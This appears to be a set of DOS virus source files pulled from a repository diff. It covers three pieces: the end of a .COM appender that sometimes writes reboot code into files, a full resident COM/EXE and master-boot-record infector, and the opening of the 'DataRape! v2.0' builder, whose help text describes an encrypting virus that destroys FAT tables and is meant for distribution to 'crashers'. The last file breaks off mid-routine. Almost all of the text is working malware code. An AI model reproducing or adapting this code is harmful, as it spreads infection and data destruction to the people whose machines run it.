ADD DX,SI ;Point to \path\name
INT 21H
;********************************************************************
; Open Read/Write channel to the file
;********************************************************************
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
;*******************************************************************
; Get the file date & time
;*******************************************************************
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
;*******************************************************************
; Get current system time
;*******************************************************************
MOV AH,2CH
INT 21H
AND DH,7 ;Last 3 bits 0? (once in eight)
JNZ seven_in_eight
;*******************************************************************
; The special "one in eight" infection. If the above line were in
; its original form, this code would be run 1/8 of the time, and
; rather than appending a copy of this virus to the .COM file, the
; file would get 5 bytes of code that reboot the system when the
; .COM file is run.
;*******************************************************************
MOV AH,40H ;Write to file
MOV CX,5 ;Five bytes
MOV DX,SI
ADD DX,reboot ;Offset of reboot code in data area
INT 21H
JMP SHORT fix_time_stamp
NOP
;******************************************************************
; Here's where we infect a .COM file with this virus
;******************************************************************
seven_in_eight:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
;******************************************************************
; Move file pointer to end of file
;******************************************************************
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
;*******************************************************************
; Write virus code to file
;*******************************************************************
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
;**********************************************************************
; Move file pointer to beginning of the file
;**********************************************************************
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Jump if error
;**********************************************************************
; Write the 3 byte JMP at the start of the file
;**********************************************************************
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
;**********************************************************************
; Restore old file date & time, with seconds modified to 62
;**********************************************************************
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
MOV AX,OFFSET 5701H
INT 21H
;**********************************************************************
; Close File
;**********************************************************************
MOV AH,3EH
INT 21H
;**********************************************************************
; Restore Old File Attributes
;**********************************************************************
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
; NOP ;MASM will add this NOP
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
;**********************************************************************
; Here when it's time to close it up & end
;**********************************************************************
all_done:
PUSH DS
;**********************************************************************
; Restore old DTA
;**********************************************************************
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
; in since the address in a real JMP 100 is an offset, and the offset
; varies from one infected file to the next. By PUSHing an 0100H onto the
; stack, we can RET to address 0100H just as though we JMPed there.
;**********************************************************************
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
;************************************************************************
;The virus data starts here. It's accessed off the SI register, per the
; comments as shown
;************************************************************************
vir_dat EQU $
;Use this with (SI + old_dta)
olddta_ DW 0 ;Old DTA offset
;Use this with (SI + old_dts)
olddts_ DW 0 ;Old DTA segment
;Use this with (SI + old_tim)
oldtim_ DW 0 ;Old Time
;Use this with (SI + ol_date)
oldate_ DW 0 ;Old date
;Use this with (SI + old_att)
oldatt_ DW 0 ;Old file attributes
;Here's where the first three bytes of the original .COM file go.(SI + first_3)
first3_ EQU $
INT 20H
NOP
;Here's where the new JMP instruction is worked out
;Use this with (SI + jmp_op)
jmpop_ DB 0E9H ;Start of JMP instruction
;Use this with (SI + jmp_dsp)
jmpdsp_ DW 0 ;The displacement part
;This is the type of file we're looking to infect. (SI + f_spec)
fspec_ DB '*.COM',0
;Use this with (SI + path_ad)
pathad_ DW 0 ;Path address
;Use this with (SI + nam_ptr)
namptr_ DW 0 ;Pointer to start of file name
;Use this with (SI + env_str)
envstr_ DB 'PATH=' ;Find this in the environment
;File name workspace (SI + wrk_spc)
wrkspc_ DB 40h dup (0)
;Use this with (SI + dta)
dta_ DB 16h dup (0) ;Temporary DTA goes here
;Use this with (SI + dta_tim)
dtatim_ DW 0,0 ;Time stamp in DTA
;Use this with (SI + dta_len)
dtalen_ DW 0,0 ;File length in the DTA
;Use this with (SI + dta_nam)
dtanam_ DB 0Dh dup (0) ;File name in the DTA
;Use this with (SI + reboot)
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
lst_byt EQU $ ;All lines that assemble into code are
; above this one
;*****************************************************************************
;The virus needs to know a few details about its own size and the size of its
; code portion. Let the assembler figure out these sizes automatically.
;*****************************************************************************
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
;*****************************************************************************
;Because this code is being appended to the end of an executable file, the
; exact address of its variables cannot be known. All are accessed as offsets
; from SI, which is represented as vir_dat in the below declarations.
;*****************************************************************************
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
CODE ENDS
END VCODE

+571
View File
@@ -0,0 +1,571 @@
cseg segment public 'code'
assume cs:cseg,ds:cseg,es:cseg
;------------------------------------------------------------------------------
; This virus is an com, exe and partitiontable infector. It will become resident
; after the first reboot. The virus is stored above TOM but below 640k.
; When the virus is resident the virus will infect every com and exe-file that
; is created or opend for read and write. The virus doesn't use any stealth
; techniques. The virus doesn't do anything besides replicate. I don't have
; a good name for it, so I named it 'Digital Research Virus'.
;------------------------------------------------------------------------------
SectorCount equ (CodeEnd-$+1ffh) shr 9 ; Codesize in sectors
MemoryCount equ (DataEnd-$+3ffh) shr 10 ; Memory needed in kb
;------------------------------------------------------------------------------
; The first part of a com-file is overwritten by the following code
;------------------------------------------------------------------------------
ComCS equ this word+4
ComEntry:
mov dx,cs
add dx,100h
push dx
mov dx,offset MainCOM
push dx
retf
dw 0DEADh
EntrySize equ ($-ComEntry)
SavedCode equ this word ; orginal com-entry code
OldCSIP equ this dword ; orginal ip,cs,ss and sp
OldIP dw 0
OldCS dw -10h
OldSS dw 0
OldSP dw 400h
db EntrySize-8 dup(0)
;------------------------------------------------------------------------------
; The first part of the bootsector is overwritten by the folowing code
;------------------------------------------------------------------------------
BootSector:
cli ; disable interrupts
xor bx,bx ; set ds and ss:sp
mov ds,bx
mov ss,bx
mov sp,7c00h
sti ; enable interrupts
mov ax,ds:[413h] ; get memorysize
sub ax,MemoryCount ; adjust memory size
mov ds:[413h],ax ; store new memorysize
mov cl,6 ; calculate segment address
shl ax,cl
mov es,ax
push ax ; store segment and offset
mov ax,offset StartUp ; of startup on stack
push ax
mov ax,200h+SectorCount ; read the virus from disk
mov cx,2
mov dx,80h
int 13h
retf ; jump to startup procedure
BootSize equ ($-BootSector)
;------------------------------------------------------------------------------
; startup procedure
;------------------------------------------------------------------------------
StartUp:
cli ; disable interrupts
mov ax,offset Interrupt8 ; save old interrupt 8 vector
xchg ax,ds:[20h] ; and store new vector
mov word ptr es:SavedInt8[0],ax
mov ax,cs
xchg ax,ds:[22h]
mov word ptr es:SavedInt8[2],ax
mov cs:Count,182
sti ; enable interrupts
push ds ; es=ds
pop es
mov bx,7c00h
push es ; store segment and offset of
push bx ; bootsector on stack
mov ax,201h ; read bootsector from disk
mov cx,1
mov dx,80h
int 13h
push cs ; ds=cs
pop ds
mov si,offset OrginalBoot ; restore first part of
mov di,7c00h ; bootsector
mov cx,BootSize
rep movsb
push es ; ds=es
pop ds
retf ; jump to bootsector
;------------------------------------------------------------------------------
; This interrupt will do nothing until it's called for the 182nd time, at that
; moment 10 seconds have past, and the virus will adjust interrupt vector 13h
; and 21h
;------------------------------------------------------------------------------
Count dw 182
Interrupt8:
cmp cs:Count,0 ; do nothing if interrupts
jz Old8 ; are adjusted
dec cs:Count ; countdown (10 seconds)
jnz Old8
push ax ; save registers
push ds
xor ax,ax ; ds=0 (Interrupt vectors)
mov ds,ax
mov ax,offset Interrupt21 ; save old interrupt vector 21
xchg ax,ds:[84h] ; and store new vector
mov word ptr cs:SavedInt21[0],ax
mov ax,cs
xchg ax,ds:[86h]
mov word ptr cs:SavedInt21[2],ax
mov cs:Handle,0
pop ds ; restore registers
pop ax
Old8: jmp cs:SavedInt8
;------------------------------------------------------------------------------
; This interrupt is installed after 10 seconds, it will then infect every exe
; file that is created or opened to write. It also contains an installation
; check
;------------------------------------------------------------------------------
Interrupt21:
cmp ah,30h
je Version ; dos version
cmp ah,3ch
je Open ; create file
cmp ax,3d02h
je Open ; open for write
cmp ah,3eh
je Close ; close file
Old21: jmp cs:SavedInt21 ; do orginal interrupt
Open: cmp cs:Handle,0 ; other exe-file opnened ?
jne Old21 ; yes, can't do anything
call CheckExe ; check for .exe extension
jnc ExeFile
call CheckCom
jnc ComFile
jmp Old21
ComFile:pushf ; execute orginal interrupt
call cs:SavedInt21
jc Fail ; error opening file
mov cs:Handle,ax ; store handle for infection
mov cs:Infect,offset InfectCOM ; store infect procedure
retf 2
ExeFile:pushf ; execute orginal interrupt
call cs:SavedInt21
jc Fail ; error opening file
mov cs:Handle,ax ; store handle for infection
mov cs:Infect,offset InfectEXE ; store infect procedure
Fail: retf 2
Close: or bx,bx ; handle 0 ?
je Old21 ; do orginal interrupt
cmp bx,cs:Handle ; handle of exe-file ?
jne Old21 ; no, do orginal interrupt
call cs:Infect ; infect file
mov cs:Handle,0
jmp Old21 ; do orginal interrupt
Version:cmp dx,0DEADh ; installation check
jne Old21 ; no, do orginal interrupt
mov ax,dx ; ax=dx
iret ; return to caller
Extension db 'EXE','COM'
CheckEXE:
push bx
push es
push cs
pop es
mov bx,offset Extension[0]
call Check
pop es
pop bx
ret
CheckCOM:
push bx
push es
push cs
pop es
mov bx,offset Extension[3]
call Check
pop es
pop bx
ret
Check: push ax ; check if extension is .exe
push cx ; save registers
push si
push di
mov al,0 ; al=0
mov cx,100h ; max length is 100h characters
mov di,dx ; di=begin of filename
Nxt: jcxz Other ; length > 100h characters,
; must be an other file
inc di
dec cx
cmp byte ptr ds:[di-1],0 ; end of filename ?
je Last
cmp byte ptr ds:[di-1],'.' ; point ?
jne Nxt ; no, next character
mov si,di ; si=di, si=last point
mov al,1 ; al=1, al=1 if point found
jmp Nxt ; next character
Last: or al,al ; point found ?
je Other ; no, it's not an exe-file
mov di,bx
cld
lodsw ; get 2 bytes after '.'
and ax,0dfdfh ; uppercase
scasw ; compare
jne Other
lodsb ; get 1 byte
and al,0dfh ; uppercase
scasb ; compare
jne Other ; no, not an exe-file
clc ; clear carry, exe-file
jmp Done ; return to caller
Other: stc ; set carry, not an exe-file
Done: pop di ; restore registers
pop si
pop cx
pop ax
ret ; return to caller
;------------------------------------------------------------------------------
; this procedure infects an exe-file that is opened and the handle is in bx
;------------------------------------------------------------------------------
InfectEXE:
push ax ; save registers
push bx
push cx
push dx
push ds
push es
push cs ; ds=es=cs
pop ds
push cs
pop es
mov ax,4200h ; goto top of file
xor cx,cx
xor dx,dx
call DOS
mov ah,3fh ; read exe-header
mov cx,1ch
mov dx,offset ExeHeader
call ReadWrite
cmp ChkSum,0DEADh
call ReturnEqual
mov ChkSum,0DEADh
mov ax,ExeIP ; save orginal ip,cs,ss and sp
mov OldIP,ax
mov ax,ExeCS
mov OldCS,ax
mov ax,ExeSS
mov OldSS,ax
mov ax,ExeSP
mov OldSP,ax
mov ax,PageCount ; calculate new cs and ss
mov dx,PartPage
or dx,dx
jz Zero1
dec ax
Zero1: add dx,0fh
mov cl,4
shr dx,cl
inc cl
shl ax,cl
add ax,dx
mov dx,ax
sub dx,HeaderSize
mov ExeCS,dx ; store new cs,ip,ss and sp
mov ExeIP,offset MainEXE
mov ExeSS,dx
mov ExeSP,offset CodeSize+800h
mov dx,10h ; calculate offset in file
mul dx
push ax ; save offset
push dx
add ax,offset CodeSize ; calculate new image size
adc dx,0
mov cx,200h
div cx
or dx,dx
je Zero2
inc ax
Zero2: mov PageCount,ax
mov PartPage,dx
cmp MinMem,80h
jae MinOk
mov MinMem,80h
MinOk: cmp MaxMem,80h
jae MaxOk
mov MaxMem,80h
MaxOk: pop cx ; restore offset
pop dx
mov ax,4200h ; goto found offset
call DOS
mov ah,40h ; write virus
mov cx,offset CodeSize
xor dx,dx
call ReadWrite
mov ax,4200h ; goto top of file
xor cx,cx
xor dx,dx
call DOS
mov ah,40h ; write new exe-header
mov cx,1ch
mov dx,offset ExeHeader
call DOS
jmp Return
Error: add sp,2 ; get return address of stack
Return: pop es ; restore registers
pop ds
pop dx
pop cx
pop bx
pop ax
ret ; return to caller
;------------------------------------------------------------------------------
; jumps to error when z-flag is 1
;------------------------------------------------------------------------------
ReturnEqual:
je Error
ret
;------------------------------------------------------------------------------
; this procedure executes the orginal interrupt 21h, if ax is not equal to cx
; an error occured. This procedure is called from InfectEXE and InfectCOM
;------------------------------------------------------------------------------
ReadWrite:
pushf
cli
call cs:SavedInt21
jc Error
cmp ax,cx
jne Error
ret
;------------------------------------------------------------------------------
; this procedure executes the orginal interrupt 21h, and is called from
; InfectEXE and InfectCOM
;------------------------------------------------------------------------------
DOS: pushf ; call orginal interrupt 21h
cli
call cs:SavedInt21
jc Error ; error? yes, jump to error
ret ; return to caller
;------------------------------------------------------------------------------
; this procedure infects an exe-file that is opened and the handle is in bx
;------------------------------------------------------------------------------
InfectCOM:
push ax ; save registers
push bx
push cx
push dx
push ds
push es
push cs ; ds=es=cs
pop ds
push cs
pop es
mov ax,4200h ; goto top of file
xor cx,cx
xor dx,dx
call DOS
mov ah,3fh ; read first 3 bytes
mov cx,EntrySize
mov dx,offset SavedCode
call ReadWrite
mov si,offset SavedCode
mov di,offset ComEntry
mov cx,EntrySize
rep cmpsb
je Return
mov ax,4202h ; goto end of file
xor cx,cx
xor dx,dx
call DOS
or dx,dx
ja Error
cmp ax,0f000h
ja Error
add ax,0fh
mov cl,4 ; prepare the com-entry
shr ax,cl
add ax,10h
mov ComCS,ax
sub ax,10h
shl ax,cl ; goto end of file
mov dx,ax
mov ax,4200h
xor cx,cx
call DOS
mov ah,40h ; write virus at the and of the
mov cx,offset CodeSize ; com-file
xor dx,dx
call ReadWrite
mov ax,4200h
xor cx,cx
xor dx,dx
call DOS
mov ah,40h
mov cx,EntrySize
mov dx,offset ComEntry
call DOS
jmp Return
;------------------------------------------------------------------------------
; This procedure infects the master bootsector of the first harddisk. There are
; no registers saved.
;------------------------------------------------------------------------------
InfectBoot:
mov ah,30h ; installation check
mov dx,0DEADh
int 21h
cmp ax,dx
je Infected
push cs ; ds=es=cs
pop ds
push cs
pop es
mov ax,201h ; read bootsector
mov bx,offset OrginalBoot
mov cx,1
mov dx,80h
int 13h
jc Infected
mov si,offset OrginalBoot ; compare bootsector with viral
mov di,offset BootSector ; bootsector
mov cx,BootSize
repe cmpsb
je Infected
mov ax,300h+SectorCount ; write virus to disk
xor bx,bx
mov cx,2
mov dx,80h
int 13h
jc Infected
mov si,offset BootSector ; adjust bootsector
mov di,offset OrginalBoot
mov cx,BootSize
rep movsb
mov ax,301h ; write bootsector to disk
mov bx,offset OrginalBoot
mov cx,1
mov dx,80h
int 13h
Infected:
ret ; return to caller
;------------------------------------------------------------------------------
; this is the main procedure, when starting up from an com-file, it will
; check if the first harddisk is infected, if not it will infect it.
;------------------------------------------------------------------------------
MainCOM:push ds
mov dx,100h
push dx
push ax
push ds
push es
push cs
pop ds
mov si,offset SavedCode
mov di,dx
mov cx,EntrySize
rep movsb
call InfectBoot
pop es
pop ds
pop ax
retf
;------------------------------------------------------------------------------
; this is the main procedure, when starting up from an exe-file, it will
; check if the first harddisk is infected, if not it will infect it.
;------------------------------------------------------------------------------
MainEXE:push ax ; save registers
push ds
push es
mov ax,ds ; adjust cs and ss
add ax,10h
add cs:OldCS,ax
add cs:OldSS,ax
call InfectBoot ; infect the bootsector
pop es ; restore registers
pop ds
pop ax
mov ss,cs:OldSS ; set ss:sp
mov sp,cs:OldSP
jmp cs:OldCSIP ; jump to orginal code
CodeSize equ $
;------------------------------------------------------------------------------
; the first part of the orginal bootsector is stored here
;------------------------------------------------------------------------------
OrginalBoot db BootSize dup(0)
CodeEnd equ $
;------------------------------------------------------------------------------
; the variables used by the virus when its resident are stored here
;------------------------------------------------------------------------------
SavedInt8 dd 0 ; orginal interrupt 8
SavedInt21 dd 0 ; orginal interrupt 21
Handle dw 0 ; handle of first exe-file
; opened
Infect dw 0 ; offset infect procedure
Buffer equ this byte
ExeHeader dw 0dh dup(0) ; exe-header is stored here
Signature equ ExeHeader[0] ; exe-signature 'MZ'
PartPage equ ExeHeader[2] ; size of partitial page
PageCount equ ExeHeader[4] ; number of pages (200h bytes)
HeaderSize equ ExeHeader[8] ; size of the exe-header
MinMem equ ExeHeader[0ah] ; minimum memory needed
MaxMem equ ExeHeader[0ch] ; maximum memory needed
ExeSS equ ExeHeader[0eh] ; SS
ExeSP equ ExeHeader[10h] ; SP
ChkSum equ ExeHeader[12h] ; checksum, DEAD if infected
ExeIP equ ExeHeader[14h] ; IP
ExeCS equ ExeHeader[16h] ; CS
DataEnd equ $
cseg ends
sseg segment stack 'stack'
db 400h dup(?)
sseg ends
end MainEXE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,594 @@
; DataRape! v2.0 Infector
;
; I know you won't dist this, DD. Sorry its a bit sloppy, but it works.
;
; - Zodiac (06/26/91)
print macro
call prints
endm
cls macro
call clrscr
endm
code segment
assume cs:code, ds:code
org 100h
start: jmp main_menu
include loader.inc
main_menu_str db "DataRape! v2.0 Infector",13,10
db "(c)1991 Zodiac of RABID",13,10
db 13,10
db "A. Information/Help",13,10
db "B. Configure Virus",13,10
db "C. View Scrolling",13,10
db "D. Infect File",13,10
db "E. Exit to Dos",13,10
db 13,10
db "Command: $"
help_scr db " DataRape! v2.0 Information/Help",13,10
db 13,10
db "DataRape! v2.0 is a mutating self-encrypting destructive stealth",13,10
db "EXE/COM infector. It infects files upon execution, browsing,",13,10
db "copying, and renaming. The encryption method changes randomly as",13,10
db "does the encryption header. The virus should not be picked-up by",13,10
db "conventional string scanners(ie SCAN). If so, it will be changed.",13,10
db "After a specified number of successful loads to memory, the virus",13,10
db "turns destructive and destroys all available FAT tables. It then",13,10
db "proceeds to display a configurable scrolling message in",13,10
db "configurable colors.",13,10
db 13,10
db "This infection program is self-explanatory, and is intended for",13,10
db "general distribution to RABID's selected crashers. This virus has",13,10
db "taken many, many hours away from my life. But, it was a pleasure",13,10
db "programming and a new version will be released(shortly?).",13,10
db 13,10
db "Good Luck! Try not to get busted( trust me, it stinks. ).",13,10
db 13,10
db '"Fear the Government that Fears Your Computer!"',13,10
db 13,10
db " -- Zodiac of RABID, USA",13,10
db 13,10
db "P.S. I wrote this infector in assembly, can't you tell?$",13,10
config_scr db "DataRape! v2.0 Configuration",13,10
db 13,10
db "Loads before Destruction(20 recommended) : "
db "$"
config_2 db 13,10
db 13,10
db "Note: Press spacebar a few times at beginning or end of message.",13,10
db 13,10
db "Enter Scrolling Message: $"
config_3 db 'Enter Colors in form: "bf", where "b" is the background and "f" the foreground.',13,10
db ' ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿',13,10
db 'Colors: ³ FOREGROUND ONLY ³',13,10
db ' ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿³ ÚÄÄÄÄ',13,10
db '0 : black 4 : red ³³ ³ 8 : light grey C : light red',13,10
db '1 : blue 5 : magenta ³ÀÄ´ 9 : light blue D : light magenta'
db '2 : green 6 : brown ÀÄÄ´ A : light greenta E : yellow',13,10
db '3 : cyan 7 : white ³ B : light cyan F : bright white',13,10
db ' ÀÄÄÄÄ',13,10
db 13,10
db 'Background Color : $'
config_4 db 13,10
db 'Border Color : $'
config_5 db 13,10
db 'Scroll Color : $'
color_s db "bf",8,8,"$"
infect_1 db "DataRape! v2.0 Infection",13,10
db 13,10
db "Finally...",13,10
db 13,10
db "It would be a good idea to View Scrolling before you infect a file",13,10
db "to make sure you set up the colors right and the message is OK.",13,10
db 13,10
db "Who else but RABID would allow configurable colors? ",13,10
db 13,10
db "File to Infect : $"
infect_2 db 13,10
db 13,10
db "An attempt will be made to infect the selected file.",13,10
db "If the file does not exist, or does not qualify for",13,10
db "infection, it will not be. It is up to you to find",13,10
db "out whether it worked or not. Remember, only COM and",13,10
db "EXE files that are over 1885 bytes are infected.$"
infect_3 db 13,10
db 13,10
db "File Infection Successful. RABID - Keeping the Dream Alive!$"
infect_4 db 13,10
db 13,10
db "File Infection Unsuccessful!$"
infect_5 db 13,10
db 13,10
db "File Not Found$"
clrscr: mov ax,0003
int 10h
ret
prints: mov ah,9
int 21h
ret
get_key: mov ah,8
int 21h
ret
get_up_key: call get_key
cmp al,"a"
jb got_up
cmp al,"z"
ja got_up
sub al,"a"-"A"
got_up: ret
get_num: call get_key
cmp al,27
je got_num
cmp al,"0"
jb get_num
cmp al,"9"
ja get_num
got_num: ret
nl: mov ah,0Eh
mov al,13
int 10h
mov al,10
int 10h
ret
main_menu: cls
mov dx,offset main_menu_str
print
main_key: call get_up_key
cmp al,"A"
je info_help
cmp al,"B"
je config
cmp al,"C"
jne is_it_d
jmp view_scroll
is_it_d: cmp al,"D"
jne isitexit
jmp infectfile
isitexit: cmp al,"E"
je exit
cmp al,27
je exit
jmp main_key
exit: jmp done
info_help: cls
mov dx,offset help_scr
print
call get_key
info_done: jmp main_menu
config: cls
mov dx,offset config_scr
print
mov cx,2
get_freq: call get_num
cmp al,27
je info_done
mov ah,0Eh
int 10h
sub al,"0"
push ax
loop get_freq
pop bx
pop ax
mov cl,10
mul cl
add al,bl
cmp al,2
jb info_done
mov countr,al
mov di,offset msg
mov al,0
mov cx,216
rep stosb
mov ah,9
mov dx,offset config_2
int 21h
xor bx,bx
mov ax,0AFAh
mov cx,215
int 10h
mov ah,2
mov dx,0619h
int 10h
mov si,offset msg
mov di,si
mov bp,0
get_char_loop:call get_key
cmp al,27
je done_config
cmp al,13
je done_get
cmp al,08
jne no_back
cmp bp,0
je get_char_loop
mov ah,3
int 10h ; GETS INFO
dec bp
dec di
cmp dl,0
jne no_new_line
dec dh
mov dl,80
no_new_line: dec dl
mov ah,2
int 10h
mov ah,0Ah
mov al,250
mov cx,1
int 10h
jmp get_char_loop
no_bacK: stosb
inc bp
mov ah,0Eh
int 10h
cmp bp,215
je done_get
jmp get_char_loop
done_get: mov al,0
stosb
mov ah,2
mov dx,0A00h
int 10h
mov dx,offset config_3
print
mov si,offset back_round + 1
call get_clr
mov dx,offset config_4
print
mov si,offset bord_clr + 1
call get_clr
mov dx,offset config_5
print
mov si,offset scroll_clr + 1
call get_clr
done_config: jmp main_menu
pop_done: pop ax
jmp main_menu
get_clr: mov dx,offset color_s
print
get_color: call get_key
cmp al,27
je done_config
cmp al,"0"
jb get_color
cmp al,"7"
ja get_color
mov ah,0Eh
int 10h
sub al,"0"
push ax
get_color_2: call get_up_key
cmp al,27
je pop_done
cmp al,"0"
jb get_color_2
cmp al,"9"
ja maybe_char
mov ah,0Eh
int 10h
sub al,"0"
jmp short ok_clr_2
maybe_char: cmp al,"A"
jb get_color_2
cmp al,"F"
ja get_color_2
mov ah,0Eh
int 10h
sub al,"A"-10
ok_clr_2: pop cx
push ax
xor ax,ax
mov al,cl
mov cl,4
shl al,cl
pop cx
add al,cl
mov [si],al
ret
view_scroll:
;************************
nuke: call rel
rel: pop di
sub di,offset rel - offset nuke
push cs
pop ds
mov ax,1
int 10h ; 40 * 40 COLOR
mov ah,1
mov cx,2020h
int 10h ; NULS CURSOR
mov ax,0600h
xor cx,cx
mov dx,184Fh
back_round: mov bh,12
int 10h ; CLEARS BACKGROUND WINDOW
mov cx,0900h
mov dx,094Fh
scroll_clr: mov bh,4Fh
int 10h ; CLEARS MESSAGE WINDOW
xor bx,bx
mov dx,0800h
mov ah,2
int 10h
bord_clr: mov bx,02h ; clr
mov cx,40
mov ax,09C4h
push ax
push bx
push cx
int 10h
mov dx,0A00h
mov ah,2
int 10h
pop cx
pop bx
pop ax
int 10h
mov dx,030Ch
mov si,di
add si,offset header-offset nuke
mov cx,4
head_print: mov ah,2
int 10h
xy_loop: lodsb
mov ah,0Eh
int 10h
cmp al,0
jne xy_loop
inc dh
loop head_print
mov bp,39
scroll: mov dx,0900h
call xy
cmp bp,1
jb no_pad
mov cx,bp
mov ax,0A20h
int 10h
add dx,cx
call xy
mov cx,40
sub cx,bp
dec bp
mov si,offset msg-offset nuke
add si,di
jmp short sprint
no_pad: mov cx,40
inc si
cmp byte ptr [si],0
jne sprint
mov si,offset msg-offset nuke
add si,di
sprint: push si
call prnt
pop si
jmp short scroll
prnt:
lodsb
cmp al,0
jne pchar
mov si,offset msg-offset nuke
add si,di
jmp short prnt
pchar: mov ah,0Eh
int 10h
mov ah,1
int 16h
jc go_main_menu
loop prnt
mov cx,6
main_pause: push cx
mov cx,0FFFFh
pause: loop pause
pop cx
loop main_pause
done_pause: ret
go_main_menu: pop ax
jmp main_menu
xy: mov ah,2
int 10h
ret
header db "DataRape! v2.0",0
db "-CONFIGURABLE-",0
db "(c)1991 Zodiac",0
db " RABID, USA ",0
go_ret_infect:jmp main_menu
infectfile: cls
mov dx,offset infect_1
print
mov ah,0Ah
mov dx,offset file_in
int 21h
cmp chars,4
jb go_ret_infect
mov cx,61
mov di,offset file_name
mov al,13
repne scasb
mov byte ptr [di-1],0
mov ah,4Eh
mov cx,0
mov dx,offset file_name
int 21h
jnc file_found
jmp bad_file
file_found:
mov ah,41h
mov dx,offset loader
int 21h
; prepare loader
mov si,offset file_name
xor cx,cx
mov cl,chars
mov di,offset datarape+56
rep movsb
mov si,offset msg
mov di,offset dr_msg
mov cx,215
rep movsb
mov ah,byte ptr [back_round+1]
mov al,byte ptr [scroll_clr+1]
mov bl,byte ptr [bord_clr+1]
mov backclr,ah
mov scrclr,al
mov bordclr,bl
mov ah,3Ch
mov cx,0
mov dx,offset loader
int 21h ; creates it
jc go_ret_infect
mov bx,ax
mov ah,40h
mov cx,loadsize
mov dx,offset datarape
int 21h ; writes it
mov ah,3Eh
int 21h ; closes it
call kill_cntr
mov bx,(code_done-start+110h)/16
mov ah,4Ah
int 21h
mov dx,offset loader
mov bx,offset loader
mov ax,4B00h
int 21h ; exec file
call kill_cntr
mov ah,41h
mov dx,offset loader
int 21h ; kills loader
mov ax,3D00h
mov dx,offset file_name
int 21h
mov bx,ax
mov ax,5700h
int 21h
